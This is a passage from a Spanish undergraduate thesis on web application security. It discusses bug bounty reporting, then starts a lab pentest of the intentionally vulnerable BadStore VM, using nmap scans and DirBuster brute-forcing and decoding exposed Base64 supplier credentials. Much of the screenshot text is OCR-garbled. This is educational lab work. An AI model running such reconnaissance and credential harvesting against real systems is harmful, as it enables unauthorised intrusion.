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y seguidamente un grado superior en administracion de sistemas informaticos empeceé la
universidad tomandola como un objetivo personal.

Asimismo todo este tiempo he estado trabajando como administrador de sistemas, con
cinco anos de experiencia. Durante este tiempo empecé a interesarme por la seguridad y
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RESUMEN

Este proyecto trata de explicar y dar a entender la importancia de seguridad en las
aplicaciones web, explicando de una forma clara y concisa las vulnerabilidades mas
importantes junto a sus posibles soluciones.

El trabajo se dividira en varias secciones, las cuales seran desde explicar y analizar el cémo
encontrar vulnerabilidades en una aplicaciéon web a hacer un estudio de las distintas
vulnerabilidades junto a un caso practico de cada una de ellas mediante la realizacion de
pruebas a través de maquinas virtuales ya disefiadas para el pentesting.

Para cada una de las vulnerabilidades, a parte del contenido descrito en esta memoria se
han incluido videos explicativos con resumenes muy sencillos para entenderlas facilmente.

El término hacker tiene distintos significados. Segun el propio diccionario de los hackers, es
todo individuo que se dedica a programar de forma entusiasta, osea un experto entusiasta
de cualquier tipo, que considera que poner la informacion al alcance de todos constituye un
extraordinario bien. La RAE establece que una persona experta en el manejo de
computadoras, que se ocupa de la seguridad de los sistemas y de desarrollar técnicas de
mejora.

Se espera que con este trabajo de fin de grado se provea de una idea general sobre el
mundo del hacking ético y las distintas vulnerabilidades que existen en el mundo de las web

apps.

La mayor dedicacion de tiempo invertido en este TFG ha sido para formarme en los distintos
conceptos de ciberseguridad y en mapear estos con todos los conocimientos obtenidos en
la carrera.
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1. INTRODUCCION

Las aplicaciones web son las herramientas mas utilizadas por las organizaciones alrededor
del mundo. Estas aplicaciones ofrecen muchos beneficios para las empresas los cuales
pueden ser desde agilizacion de procesos, optimizar comunicaciones a digitalizar servicios.
No obstante, estas aplicaciones o paginas web son el objetivo constante para la explotacién
de vulnerabilidades.

De acuerdo con el informe anual de Acunetix “Web Application Vulnerability 2019” nos
muestra que mas del 60% de los sitios web presenta problemas de vulnerabilidades graves,
que son la amenaza mas critica en empresas. Ante este grave problema es necesario
encontrar nuevos enfoques para la mitigacion de vulnerabilidades las cuales van
aumentando afio tras afio.

Uno de los principales problemas del disefio de las web apps y de sus errores de seguridad,
es que muchas de las empresas estan bajo presion para entregar las aplicaciones y
servicios web de una manera rapida para satisfacer la demanda de los clientes. Esta prisa
por entregar las aplicaciones rapido y cumplir el plazo de entrega, provoca que la aplicacion
no esta a la par con el ciclo de desarrollo de seguridad. A dia de hoy hay un mayor niumero
de defectos potenciales que hace un ano, y esto va incrementando.

Las empresas deberian tener en cuenta que una vulnerabilidad grave o critica implicaria al
atacante obtener acceso a datos e informacion sensible, informacion de clientes, cuentas
bancarias, etc.
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https://www.cvedetails.com/

En este grafico proporcionado por CVE Details podemos ver la evolucion de la cantidad de
vulnerabilidades detectadas en los sistemas a través de los anos (Hasta Marzo de 2019).
Podemos sacar varias conclusiones respecto el estado de seguridad de los sistemas
operativos y aplicaciones mas utilizadas actualmente. Una de las conclusiones mas obvias
es que el total de vulnerabilidades descubiertas ha ido creciendo sustancialmente por
segundo afo consecutivo después de una relativa estabilidad.

Este aumento es muy significativo y nos viene a decir que cada vez existen mas y mas
vulnerabilidades. De las 16.555 vulnerabilidades descubiertas en 2018, casi un 5% han sido
reportadas como criticas. Este porcentaje puede parecer pequefio, pero dependiendo del
sistema afectado y el tipo de vulnerabilidad, este puede ser bastante importante.

El objetivo de este proyecto es exponer y explicar todas las vulnerabilidades web mas
frecuentes y mas importantes, hacer un analisis de éstas y mostrar mediante casos
practicos cdmo podemos detectar dichas vulnerabilidades.



2. OBJETIVOS

El principal objetivo de este trabajo es estudiar y analizar las distintas vulnerabilidades web
mediante un analisis de éstas mismas y los distintos casos de pentesting para ponerlas a
prueba. Cabe destacar que el objetivo no es hacer un tutorial sobre cémo hacerlo, sino un
estudio.

Dichos objetivos podemos enumerarlos de la siguiente forma:

- Analizar y conocer los procedimientos a la hora de detectar vulnerabilidades en una
pagina o aplicacion web.

- Explicar la evolucién o los pasos a seguir para para hacer una investigacién de
posibles vulnerabilidades.

- Realizar un caso practico para demostrar y analizar cada una de las vulnerabilidades
explicadas.

- Estudiar y analizar distintos métodos para evitar los fallos o vulnerabilidades en las
aplicaciones web.
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3. SEGURIDAD EN APLICACIONES WEB

El concepto de seguridad puede asociarse a la capacidad de proteccién o peligros sobre
aquello que nos preocupa o consideramos importante. La seguridad se refiere
principalmente a la mitigacién o supresién de peligro, dafio o riesgo.

Existen muchos tipos o conceptos de seguridad, tantos como peligros existan, como puede
ser la seguridad laboral, urbana, publica, bancaria, etc. Todos los tipos con un mismo fin,
mitigar los riesgos asociados al ambito en cuestion.

Este trabajo se enfoca en la seguridad informatica y la seguridad de la informacién en las
aplicaciones web, que son las dos acepciones mas actuales y de moda en los ultimos
tiempos.

Las aplicaciones web son la cara frontal y visual del software que proporcionan el acceso a
la informacion y a los distintos procesos de los sistemas. La informacion contenida en ellas
suele ser el activo de mayor valor en el contexto de seguridad de la informacién.

Esta informaciéon se suele almacenar en soportes fisicos o virtuales que comprenden la
infraestructura que se debe proteger. Este suele ser el objetivo de los atacantes, los cuales
intentan vulnerar la seguridad para conseguir acceso a datos sensibles, destruirlos o
hacerlos inaccesibles.

11



3.1. El valor de los datos en la red

El resultado de una actividad maliciosa llevado a cabo por un atacante cibernético sigue a
un mismo principio, ¢,que beneficio obtengo con esa actividad?

Este beneficio para el atacante es relativo, ya que puede ser obtenido de varias formas. Un
atacante puede moverse porque alguien contrata sus servicios, podemos hacer una
busqueda rapida en google y ver los precios de hacking malicioso en el mercado negro.
También es posible que dicho atacante o hacker esté realizando un “bounty program” para
una empresa, o simplemente que lo haga para conseguir prestigio.

De todas formas, segun los datos que tenga como objetivo o el sistema en cuestion, dictara
mas o menos el beneficio obtenido. Existen varios factores, entre otros, que pueden servir
de motivacion para atacar una aplicacion web:

- Volumen de informaciéon almacenado en la web. La informacién normalmente se
encuentra almacenada en bases de datos de aplicaciones web. De modo que
cuando un atacante compromete la base de datos de una aplicacion, suele acceder
a la informacién de todos los usuarios que contiene.

- Cantidad de servicios donde estamos registrados. Podrian ser por ejemplo agua,
luz, telefonia, la empresa donde trabajamos, redes sociales, foros, etc. Al estar
registrados en distintas aplicaciones web se dispone de una superficie de ataque
mayor.

- Vulnerabilidades en los sistemas de informaciéon. Un desarrollo de software sin
atender a la perspectiva de seguridad de la informacion, una configuracién pobre o
inadecuada sobre los servicios donde se despliega la web o la deteccidén de bugs de
seguridad. Son aspectos que derivan en fallos de seguridad que perduran en el
tiempo, haciendo mas probable el éxito de los ataques.

- Entes que compran la informacion. Ya bien sean individuos, organizaciones,

estados, investigaciones privadas, espionaje, redes de inteligencia, etc. Cualquier
persona o colectivo puede pagar por la informacion alcanzada.
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3.2. Bounty programs

En los ultimos afios, la industria tecnoldgica ha experimentado un giro radical en la forma de
relacionarse con los ciber delincuentes. La mejor forma de protegerse de los mas
destructivos es incentivar a los demas para que busquen errores y vulnerabilidades en sus
propios sistemas, premiandolos de una forma econémica para que den la oportunidad a las
compafias de solventarlos antes de que se hagan publicos. Estas practicas tienen el
nombre de “bounty programs” o “bug bounty programs”.

Hay estudios realizados (Por ejemplo éste) basados en grandes empresas como Google y
Mozilla los cuales demuestran que esta practica de recompensas por los posibles fallos del
sistema propio, es mas barata y eficiente en comparacién que las antiguas estrategias
basadas en la contratacion de consultores externos o por ejemplo a la automatizacién de las
revisiones de cddigo.

Non-integrated
acquisitions and other

lower priority sites [2]

Remote code execution $20,000 $20,000 520,000 §5,000
SQL injection or equivalent  $10,000 $10,000 $10,000 $5,000
Significant authentication $10,000 $5,000 $1,337 £500
bypass or information leak
Typical XSS $3,133.7 $1,337 $600 $100
XSRF, XS85l, and othe 500 100
e §500 - $3,133.7 $500-$1,337 ¥

commaon web flaws

(depending on (depending on

impact) impact)

llustracién 02 - Tabla de recompensas de Google - Fuente: helpnetsecurity

Hay una lista enorme de compafiias que han apostado o actualmente apuestan por los “bug
bounty programs”, entre ellas Google, Facebook, Dropbox, Microsoft o Yahoo. El uso de
dichos programas se esta convirtiendo en el pan de cada dia y una tendencia en la industria
tecnoldgica. Estas empresas estan empezando a optar por externalizar la gestiéon de sus
“bounty programs” y gracias a ello estan surgiendo muchas startups dedicadas a hacerse
cargo de estas tareas.

Podemos ver una lista de una gran cantidad de recompensas que estan activas en este
mismo momento en el famoso portal de hackerone.
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3.3. Informes de vulnerabilidades

Los hackers o investigadores que descubren vulnerabilidades en una aplicacion web, ya sea
mediante un bounty program o por cuenta propia, suelen informar a los fabricantes o
desarrolladores correspondientes. En muchos casos, esta tarea suele ser dificil ya que la
intencionalidad juega un rol fundamental en esta etapa y define como se llevaran a cabo las
actividades para mitigar o suprimir las vulnerabilidades descubiertas.

Estas vulnerabilidades encontradas deben ser informadas a la entidad responsable para
que la misma pueda ser tratada y mitigada en el menor tiempo posible. La idea es que el
hacker reporte la vulnerabilidad directamente a la compainia mediante un canal privado.
Esto es debido a que si la vulnerabilidad se publica, esta podria ser aprovechada por otros
atacantes y explotarse con fines no legitimos.

Uno de los posibles riesgos que asumen los hackers es que la entidad responsable no
contemple el report como un acto de buena fe y pueda tomar acciones legales contra los
mismos. No obstante, la seguridad se hace con los aportes de todos, y es necesario
reportar las vulnerabilidades antes de que alguien con malas intenciones pueda tomar
provecho de ellas.

A continuacion vamos a enumerar una serie de puntos que se utilizan para realizar estos
informes.

1. Leer las pautas proporcionadas por la empresa.

Cada compania participante en los bounty programs tiene listas o guias de como entregar
los informes o el cddigo necesario para informar una vulnerabilidad. Es de vital importancia
leer estas guias o pautas proporcionadas para no perder el tiempo al entregar un informe el
cual ni siquiera se van a leer al no tener el formato concreto.

2. Incluir muchos detalles.

Si se quiere que un informe sea tomado en serio ha de proporcionarse un informe detallado
el cual deberia incluir como minimo:

- La URL y los parametros afectados utilizados para encontrar la vulnerabilidad.

- Una descripcion del navegador, sistema operativo (si corresponde) y/o version de la
aplicacion.

- Una descripcion del impacto percibido. ; Cémo podria ser explotado el error?

- Pasos para reproducir el error.

Todos estos criterios son comunes para todas las grandes compainias, en caso de querer ir

un paso mas lejos seria recomendable incluir capturas de pantalla o algun video de prueba.
Ambos son de gran ayuda para las compafiias y ayudaran a entender la vulnerabilidad.
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3. Confirmar la vulnerabilidad.

Una vez leidas las pautas proporcionadas, creado y redactado el informe e incluso se han
incluido capturas de pantalla, es necesario tomarse un momento para asegurarse de lo que
se esta informando es una vulnerabilidad actualmente.

Hay que asegurarse de se ha confirmado la vulnerabilidad antes de enviar el informe.
Puede ser una decepcién muy grande pensar que se ha encontrado una vulnerabilidad
significativa cuando en realidad se ha malinterpretado algo durante las pruebas.

4. Mostrar respeto hacia la compaiiia.

Cuando una empresa lanza un nuevo bounty program pueden recibir muchisimos informes.
Una vez enviado el propio, hay que permitir a la empresa la oportunidad de revisarlo y
ponerse en contacto con uno. Algunas compairiias publican sus timelines en sus guias o
pautas, pero puede ser que otras empresas no lo hagan.

En caso de enviar el informe y no tener noticias de la compania en dos semanas por lo
menos se puede postear un mensaje en el informe para saber si hay alguna actualizacién o
noticia. Por otro lado, en caso de que la compafia confirme la vulnerabilidad, se puede
trabajar con ellos para confirmar cuando lo hayan arreglado.

Durante un bounty program hay un listado de problemas los cuales incluyen:

- Ruido: Los bug bounty programs reciben muchos informes invalidos.

- Priorizacién: Los bounty programs tienen que encontrar una manera de priorizar la
solventacion de vulnerabilidades. Esto es complicado cuando tienes multiples
vulnerabilidades con un impacto similar combinado con muchos informes entrando
continuamente.

- Confirmaciones: Cuando se revisa un informe, los bugs tienen que ser validados y
esto necesita tiempo. Es por eso que es necesario dar instrucciones claras y una
explicacién sobre que se ha encontrado, como reproducirlo y por qué es importante.

- Recursos: No todas las compafias pueden permitirse dedicar un equipo de
personal para mantener un bounty program. Es posible que algunas companfias
tengan incluso una unica persona dedicada a este tema.

- Solucionar el problema: Programar necesita tiempo, especialmente si hay un ciclo
de desarrollo que puede incluir debugging, tests, deployment y produccion. Es por
ello que las lineas de comunicacién son esenciales y la necesidad de que se
respeten ambas partes.

- Manejar relaciones: Los bug bounty programs quieren que los hackers vuelvan. Es
por ello que es necesario crear una especie de buena relacion con ellos.

- Relaciones con la prensa: Siempre esta la presidon de que un bug pueda ser
pasado por alto, tarde mucho tiempo en resolverse o una recompensa de pago sea
demasiado baja. Los hackers enfadados (con un buen motivo) pueden acudir a
Twitter o a los medios.
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5. Recompensas.

En caso de enviar un informe a una compafiia que paga una recompensa, hay que respetar
su decision de la cantidad pagada. Normalmente los bounty programs tienen una lista o
tabla con el dinero pagado por cada vulnerabilidad encontrada.

Si se estd en desacuerdo con una cantidad recibida, hay que mantener y argumentar una
discusion de por qué se cree que merece una recompensa mas elevada. Hay que evitar
situaciones donde se reclama otra recompensa mas elevada sin elaborar el por qué lo
crees. La compainiia deberia mostrar respeto por el tiempo y el valor invertido.

6. “No vendas la piel del oso antes de cazarlo.”

Este dicho viene a significar que no deberias celebrar la victoria hasta estar totalmente
seguro de los resultados obtenidos. Ha ocurrido muchas veces que algun hacker de
renombre ha reportado un bug o vulnerabilidad grave a la empresa del bounty program, y
antes de recibir el ok y la recompensa, éste ya estaba alardeando a través de las redes
sociales y haciendo un report. Seguidamente la empresa marcé como invalido el informe al
no considerar un bug el problema.

Escribir o hacer buenos informes es esencial tanto para las compafias interesadas en
solucionarlos como para el hacker en cuestion. Igualmente se puede aplicar al hecho de
encontrar bugs mas importantes o menos. En algunos portales como HackerOne, los
informes colgados se puntian segun unos parametros que tienen. Los buenos hackers que
consiguen muchos puntos, consiguen invitaciones a bounty programs cerrados con mas
dinero en recompensas y mas prestigio entre la comunidad.

Con esto quiero decir que el escribir buenos informes siempre aportara beneficios de una
forma u otra.
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4. PENETRATION TESTING

Esta seccion recoge la parte practica del proyecto, la cual consiste en hacer dos casos
practicos de penetration testing (pentesting).

Estos dos casos practicos se realizan mediante el uso de varias maquinas virtuales las
cuales contienen servicios web preparados. El objetivo de estos casos es detectar todas las
vulnerabilidades posibles y demostrar cémo se realiza el proceso.

El primer caso practico sera con una maquina virtual preparada para pentesting llamada
BadStore. Esta maquina virtual proporciona una pagina web con distintas vulnerabilidades
preparadas a proposito.

El segundo caso practico sera sobre la pagina web realizada en la asignatura optativa
“COWEB” (Computacion orientada al web) e impartida por el profesor Simone Balocco.
Dicha pagina web contiene varias vulnerabilidades las cuales se identificaran y se aplicaran
las distintas correcciones, documentando el proceso. Cabe puntuar que el objetivo de la
asignatura no era el de la seguridad y por ello existen las vulnerabilidades que se
comentaran.
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4.1. Caso practico - BadStore

Este caso practico de pentesting consiste en utilizar la aplicacion web BadStore la cual
montamos en una maquina virtual para poder atacar desde otra maquina virtual con Linux y
enumerar las distintas vulnerabilidades que encontramos.

4.1.1. Escenario

El escenario en este caso practico consiste en tener dos maquinas virtuales sobre Linux las
cuales se ejecutan sobre VirtualBox. La primera de ellas es BadStore la cual descargamos
la imagen ISO desde el siguiente enlace: https.//www.vulnhub.com/entry/badstore-123,41/

Esta maquina virtual hara de servidor el cual aloja la aplicacién web de BadStore y sobre la
cual haremos las distintas pruebas o ataques de vulnerabilidades. La otra maquina virtual es
un Kali Linux la cual utilizaremos para realizar las distintas pruebas. Creamos una maquina
virtual basada en Debian la cual instalamos la ISO de Kali que podemos encontrar en el
siguiente enlace: https://www.kali.org/downloads/

Una vez tenemos instaladas y preparadas las dos maquinas virtuales ya podemos arrancar
BadStore primero y dejarla encendida en segundo plano mientras trabajamos con Kali.

el

Archivo

H P e 5 A TS

Maquina Ver Entrada Dispositives Ayuda

ype “man’ for a list of help topics or 'man trinux’ for docs.

lease press Enter to activate this console.

bash#t ifconfig

ethO Link encap:Ethernet HWaddr 08:00:27:D4:C0:27
inet addr:192.168.1.43 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 HMetric:1
Rx packets:23 error=s:0 dropped:® overruns:® frame:0
Tx packets:8 errors:0 dropped:® overruns:® carrier:0
collisions:0 txgqueuelen:100

RX bytes:2673 (2.6 kiB) TX bytes:2084 (2.0 kiB)
Interrupt:9 Base address:0xd0Z0 Memory:f1Z200000-f 1220000

Link encap:Local Loopback

inet addr:127.9.0.1 HMask:255.0.0.0

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:@ errors:0 dropped:® overruns:@ frame:0Q
Tx packets:0 errors:0 dropped:® overruns:® carrier:0
collisions:0 txqueuelen:@

RX bytes:0 (0.0 iB) TX bytes:@ (0.0 iB)

llustracién 03 - Ejecucion de la maquina virtual de BadStore
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https://www.vulnhub.com/entry/badstore-123,41/
https://www.kali.org/downloads/

Archive Maquina Wer Entrada Dispositives  Ayuda

lications laces erminal 5un22:19
Applications Pl + [ Terminal = un22:19

root@kali: ~

File Edit View Search Terminal Help
:~# ifconfig
etho: g 63<UP, BROADCAST , RUNNING, MULTICAST= mtu 1580
.168.1.44 netmask 255.255.255.8 broadcast 192.168.1.255
27ff:fe7l:e7bd prefixlen 64 scopeid Ox28<link=
: - txqueuelen 1000 (Ethernet)
11823 s 17749423 (16.9 MiB)
@ dropped ® overruns @ frame @
5 £ bytes 338458 (330.5 KiB)
TX errors @ dropped ® overruns @ carrier ® collisions @

lo: flags=73<UP,LOOPBACK,RUNNING>= mtu 65536
et 127.0.0.1 netmask 255.0.0.0
inet6 :: prefixlen 128 scopeid 0x1l@<host=>
loop txg elen 1000 (Local Loopback)
RX pack 26 1116 (1.0 KiB)
BX er dro 8 overruns & frame ©
TX 5 26 y 1116 (1.0 KiB)
TX dro 8 overruns @ carrier ® collisions @

i~ I

vy

llustracién 04 - Ejecucion de la maquina virtual de Kali Linux

4.1.2. Pentesting

Para empezar la parte practica y empezar a buscar vulnerabilidades dentro de esta web
app, vamos a dar el primer paso con la parte de reconocimiento. En la maquina virtual de
Kali vamos a utilizar un comando en la consola para escanear la red interna y ver queé es lo
que hay conectado. Esta utilidad en concreto es “nmap”, con ella podemos encontrar
dispositivos conectados a la red, puertos abiertos y un largo etcétera.

Dentro de todos los muchos parametros que podemos utilizar con esta utilidad vamos a
utilizar “-sS” el cual nos permitira ver distinta informacién como los puertos abiertos y
demas. Cabe decir que esto lo estamos haciendo con una red privada y personal, en caso
de hacer el reconocimiento en otra red es de buena practica utilizar “-sP” primero, ya que
este parametro hace un sondeo ping y sélamente determina si los dispositivos estan vivos o
no. Seguidamente se haria un nmap en concreto para el o los objetivos en concreto. Otra
opcion interesante es usar “-p” para sondear los puertos indicados.

Comando: nmap -sP 192.168.1.0/24
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root@kali: ~ e ® 0

File Edit View 5Search Terminal Help
:~# nmap -sP 192.168.1.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2019-85-85 23:07 CEST
Nmap scan report for 192.168.1.1
Host is up (©.08841s latency).
MAC Address: 3E:85:CE:EC:D3 (Comtrend)
Nmap scan report for 192.168.1.34
Host is up (©.00034s latency).
MAC Address: 88:D7:F6:C4:E1:Al1 (Asustek Computer)
Nmap scan report for 192.168.1.35
Host is up (©.00012s latency).
MAC Address: 30:9C:23:8B:EE:F7 (Micro-star Intl)
Nmap scan report for 192.168.1.37
Host is up (©.063s latency).
MAC Addre 04:B1:67:6F:E9:68 (Unknown)
Nmap scan report for 192.168.1.39
Host is up (©.069s latency).
MAC Address: DC:68:EB:0A:F4:DF (Nintendo)
Nmap scan report for 192.168.1.40
Host is up (©.0873s latency).
MAC Address: 18:FB:E4:F2:A0:63 (Xiaomi Communications)
Nmap scan report for 192.168.1.41
Host is up (©.881s latency).
5: 74:51:BA:3F:F7:74 (Xiaomi Communications)
Nmap scan report for 192.168.1.43
Host is up (0.00011s latency).
MAC Addres 08:00:27:D4:C0:27 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.1.44
Host is up.
Nman dnne -

llustracién 05 - Escaneo de la red con nmap

Se ha ejecutado el comando de nmap para toda la red 192.168.1.0 y hemos encontrado que
entre todos los dispositivos conectados nuestro objetivo es la direccion 192.168.1.43.
Seguidamente hacemos otro escaneo pero esta vez solamente de la direccion objetivo y
cambiamos el parametro por “-sS” ya que nos dira qué puertos estan abiertos. Comando:
nmap -sS 192.168.1.43

root@kali: ~ e ® 0

File Edit View Search Terminal Help

:~# nmap -s55 192.168.1.43
Starting Nmap 7.70 ( https://nmap.org ) at 2019-85-05 23:11 CEST
Nmap scan report for 192.168.1.43
Host is up (0.008064s latency).
Not shown: 997 closed ports
PORT STATE SERVICE

e http

open https

open mysql
MAC Address: 08:00:27:D4:C0:27 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
~# I

llustracién 06 - Escaneo de puertos con nmap al objetivo BadStore

Podemos ver que la direccién objetivo tiene abiertos los puertos de http, https y mysql. A
continuacion vamos a hacer otro escaneo pero esta vez sélamente para los puertos en
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concreto que queremos (menos ruido) y cambiando el parametro a “-sV” el cual nos sirve
para la deteccidon de versiones. También agregamos una opcion “-O” la cual nos devolvera
el sistema operativo de la maquina. Comando: nmap -sV -O -p 80,443,3306 192.168.1.43

root@kali: ~ e ® 6

File Edit View Search Terminal Help

:~# nmap -sV -0 -p 80,443,3306 192.168.1.43
Starting Nmap 7.70 ( https://nmap.org ) at 2019-85-85 23:
Nmap scan report for 192.168.1.43
Host is up (0.80023s latency).

PORT STATE SERVICE VERSION

g8o/tcp open http Apache httpd 1.3.28 ((Unix) meod ssl/2.8.15 OpenSS5L/0.9.7c)
open ssl/https Apaches/1.3.28 (Unix) mod ssl/2.8.15 OpenS5L/0.9.7c
open mysql MySQL 4.1.7-standard

08:00:27:D4:C0:27 (Oracle VirtualBox virtual NIC)
SScan results may be unreliable because we could not find at least 1 open and
1 closed port
Device type: general purpose
Running: Linux 2.4.X
0S CPE: cpe:/o:linux:linux_kernel:2.4
05 details: Linux 2.4.18 - 2.4.35 (likely embedded)
Network Distance: 1 hop

05 and Service detection performed. Please report any incorrect results at https://nmap
.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 21.13 seconds

llustracién 07 - Escaneo de puertos del objetivo con versién y SO
Por ahora podemos ver que el objetivo tiene un sistema operativo Linux, un Apache 1.3 con

los puertos 80 y 443 de TCP abiertos y un servidor MySql en el puerto TCP 3306. Una vez
tenemos esta informacion es hora de entrar a la web y testear.

Welcome to BadStore.net v1.2.3s - The most insecure store onthe 'Net! - Mozilla Firefox & & &

EE Welcome to BadStere.n: X | =+

— C o ® 192.168.1.43/cgi-bin/badstore.cg = @ 1y I @
£¥ Most Visited @) Offensive Security @ KaliLinux @& KaliDocs @) Kali Tools @ Exploit-DB »

>

Home

What's New

Sign Our Guestbook : ; e
i i ﬁ:lmllu)"l)aﬂi .M
View Previous o '»%I%M%

Orders

Ahout Us
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Una de las cosas que vemos al entrar en “Home” es que la pagina esta contenida en un
directorio llamado “cgi-bin”. Viendo esto podemos hacer una busqueda mas exhaustiva de
los directorios que se compone la aplicacion web en el servidor. Para ello utilizamos una
herramienta llamada “DirBuster”’, en la cual podemos hacer un escaneo de diferentes
directorios y archivos contenidos en una direccion destino mediante fuerza bruta.

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing @ ® 0

File Options About Help

Target URL (eg http:/fexample.com:80/)
http://192.168.1.43/ |

Work Method () Use GET requests only () Auto Switch (HEAD and GET)
Number Of Threads ¢ () 1 200 Thre... Go Faster
Select scanning type: (%) List based brute force () Pure Brute Force

File with list of dirs/files

Jusr/sharefwordlists/dirbuster/directory-list-lowercase-2.3-medium.txt | | i, Browse | | @ List Info

Select starting options: () Standard start point () URL Fuzz

Brute Force Dirs Be Recursive Dir to start with

[][Brute Force Files [ Use Bla tens File extension |

| &l Exit | | D start |

llustracién 09 - Configuracion de DirBuster para buscar directorios con una wordlist

Vemos en la primera ilustracion (la cual es la configuracién usada) que estamos buscando
directorios en la direccion objetivo del servidor. Para ello estamos utilizando fuerza bruta
con la ayuda de una wordlist general de nombres de directorios. En Kali Linux podemos
encontrar un gran numero de wordlists disefiadas para ayudarnos en estos casos. Podemos
observar que todas ellas estan localizadas en el directorio “/usr/share/wordlists” y hay de
todo tipo. En este caso se utiliza una especialmente disefiada para esta aplicacién la cual
son todos los nhombres en minusculas.

Cabe destacar que utilizar fuerza bruta sin la ayuda de una wordlist de directorios (o
archivos) podria llevar muchisimo tiempo. Haciendo la prueba sin introducir una wordlist con
un tamafio de hasta 32 caracteres de string nos llevaria un tiempo infinito. Utilizando la
wordlist mencionada anteriormente, nos ha llevado una totalidad de una hora y media
aproximadamente.

Una vez completado todo el escaneo pasamos a ver los resultados.
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing e ® 0

File Options About Help

http://192.168.1.43:80/

@ scan Information * Results - List View: Dirs: 8 Files: 8 ||Results - Tree View ' /\ Errors: 10

Type | Found | Response | Size |
o FLYTEmr S5Ud b X - e
Dir fimages/ 200 3775 |'—-
Dir ficons/ 200 1066
Dir fscanbot/f 200 956
File /BadStore_net v1_2_Manual.pdf 200 164204
File fscanbot/scanbot.html 200 568
Dir Ibackup/ 200
File /scanbot/deth2botz.html 200
File fegi-bin/badstore.cgi 200
Dir [DoingBusiness/ 200
Dir /Procedures/ 200
File /Procedures/UploadProc.html 200
File /DoingBusiness/contract.doc 200
File fcgi-bin/bsheader.cqi 200
Dir fsupplier/ 200 836
Fle  liupplieraccounts | 2000 474

llustracion 10 - Resultados de la busqueda de DirBuster

Podemos observar cdmo hemos encontrado varios directorios y archivos. Entrando a cada
uno de ellos para testear que pueden ser y si tenemos acceso como tal a ellos podemos
acceder sin problema a practicamente todos los directorios y archivos en estos. Por
ejemplo, en el directorio /DoingBusiness/ encontramos un archivo “contract.doc” el cual no
tiene practicamente interés, pero eso significa una vulnerabilidad grave, pudiendo entrar a
todo el contenido.

Si entramos en el ultimo directorio encontrado “/supplier/” vemos que tiene otro subdirectorio
el cual tiene un nombre muy interesante, “/accounts”. Esto es signo de un gran interés y
vale la pena explorarlo en su totalidad. Entrando al contenido de este directorio podemos
ver lo siguiente:

EE 192.168.1.43/supplierfac X | +

« = C @ 192.168.1.43/supplier/accounts o @ % N 0
£+ Most Visited @& Offensive Security @ Kali Linux @ Kali Docs @) Kali Tools @& Exploit-DB »

1001 :am91dXNLci9wYXNzd29yZC9whGFObnYVtLZESMi4xN] guMTAwLjU2000=
1002:a3JvZW1lci9zMONyM30vZ295ZCBXMCAXMDAUMTAWL j E=

1003 : amFuZXVzZXIvd2FpdGluZzRGem kY XkvMTcyLjIyLJEYLJES

1004 :a2Jvb2tvdXQvc2VuZG11YXByLzEwl j EwMC4xMDAUM] A=

llustracién 11 - Contenido del archivo accounts

Deducimos por el estilo de este texto que se trata de distintos usuarios de la aplicacion web
con un texto encriptado en algun formato. Vamos a intentar descodificar los datos
codificados y para ello utilizamos un programa llamado “Decodify” el cual nos servira para
detectar de qué tipo es. Una vez descargado el archivo de Git (Enlace disponible en el
Glosario) podemos ejecutar el programa para un string en concreto, probamos el primero
del usuario con el ID 1001:
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:~/Desktop/Decodify# ./dcode am9ldXNlci9wYXNzd29yZCIwbGFObnVTLZESMi4xNjguMTAWL
ju2DQo=

|
]
R .
b =

/

/
[+] Decoded from Base64 : joeuser/password/platnum/192.168.100.56

llustracién 12 - Ejecucion de Decodify para un string en Base64

Podemos observar que el string estaba codificado en Base64 y efectivamente nos da los
datos, los cuales son las credenciales de usuario. Ejecutando para el resto de strings
tenemos el archivo encontrado de cuentas de los suppliers con los usuarios y contrasefias.

Open ~ || @ a°‘°““f5f‘t Save ||Z2| @ @ O
1001: joeuser/password/platnum/192.168.100.56
1002:kroemer/s3Cr3t/gold/10.100.100.1

1003: janeuser/waiting4Friday/172.22.12.19
1084 : kbookout/sendmeapo/10.100.100. 23|

llustracion XX - Archivo con credenciales de los suppliers

Ahora que hemos visto la estructura de los directorios y buscado por posibles archivos
ocultos dentro de estos vamos a pasar a testear el funcionamiento de la web. Viendo que
hay un apartado de registro y login podemos empezar a testear por ahi. Vamos a crear una
nueva cuenta llamada “jaume” y ver que parametros pasa por la URL.

BadStore.net - Register/Login - Mozilla Firefox o ® O
iE BadStore.net - Register/ X | +
< ¢ ® & 192.168.1.43/cgi-bin/badstore.cgi?action= o @ I @ =
4+ Most Visited @) Offensive Security @) Kali Linux @& KaliDocs @) Kali Tools & Exploit-DB »
Iy ACCUUIIL (- L

Login / Register

Register for a New Account
- Suppliers Only -

Full Name: | j
Supplier Login sk

Supplier Contract
Supplier Procedures Email Address: | jaume

- Reference - pacsword:| eesse

BadStore.net Manual vi1.2

Password Hint - What's Your Favorite Color?:| green v

(The Password Hint is used as a security measure to help recover a forgotten password. You will need
both your email address and this hint to access your account if you forget your current password. )

Register

llustracién 13 - Estructura de la pagina de registro
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Una de las cosas que podemos apreciar es que en la URL de la pagina de login/registro
después de “badstore.cgi” aparece un “action” el cual nos redirige a la web en concreto.
Vamos a abrir el monitor de red de Firefox pulsando F12, clicando en “Network” y
seguidamente damos a “Analyze” para que analice las peticiones que entran a partir de
ahora.

Ahora procedemos a registrar el usuario anterior clicando al boton de “Register”. Podemos
ver en el monitor de red los datos que hemos capturado. Vemos que se ha hecho una
peticion POST la cual si clicamos en ella podemos ver toda la informacion, como headers,
cookies, etc. Vamos a ir a “Params” para ver que se esta enviando.

r -

Welcome to BadStore.net v1.2.3s - The most insecure store on the 'Net! - Mozilla Firefox & & @

EE Welcome to BadStore.n: X | +

=2 C @ (@ 192.168.1.43/cgi-bin/badstore.cgi?action=register - O 1 N @O =
£+ Most Visited @ Offensive Security @ Kali Linux @ Kali Docs @ Kali Tools @& Exploit-DB »

[ Insp: Con: Debt Style Perfc Men Metw S HEH B E§3|;| @ b4
All BgiLUN CSS JS

I @ XHR Fonts Images [ |PersistLogs [ |Disablecache
Media WS Other
Filter URLs [=

Status Method
Home 200  POST

What's New

File Type Transferr
